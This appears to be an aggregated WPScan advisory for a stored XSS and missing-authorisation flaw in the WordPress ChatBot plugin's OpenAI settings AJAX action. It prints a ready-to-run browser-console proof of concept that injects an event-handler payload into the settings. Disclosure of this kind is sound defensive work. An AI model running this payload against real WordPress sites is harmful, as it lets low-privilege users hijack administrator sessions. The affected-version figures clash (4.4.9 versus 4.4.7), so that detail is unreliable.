Lucene search

K
wpvulndbWpvulndbWPVDB-ID:C88B22BA-4FC2-49AD-A457-224157521BAD
HistoryApr 12, 2023 - 12:00 a.m.

ChatBot < 4.4.9 - Subscriber+ OpenAI Settings Update to Stored XSS

2023-04-1200:00:00
wpscan.com
5
chatbot plugin
openai settings
stored xss
ajax action
unauthorized access

0.001 Low

EPSS

Percentile

23.5%

The plugin does not have authorisation and CSRF in the AJAX action responsible to update the OpenAI settings, allowing any authenticated users, such as subscriber to update them. Furthermore, due to the lack of escaping of the settings, this could also lead to Stored XSS

PoC

Run the below command in the developer console of the web browser while being on the blog as subscriber user fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=openai_settings_option&api;_key=" style=animation-name:rotation onanimationstart=alert(/XSS/)//’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); The XSS will be trigged when an admin view the OpenAI Settings (/wp-admin/admin.php?page=wpbot_openAi)

CPENameOperatorVersion
chatbotlt4.4.7

0.001 Low

EPSS

Percentile

23.5%

Related for WPVDB-ID:C88B22BA-4FC2-49AD-A457-224157521BAD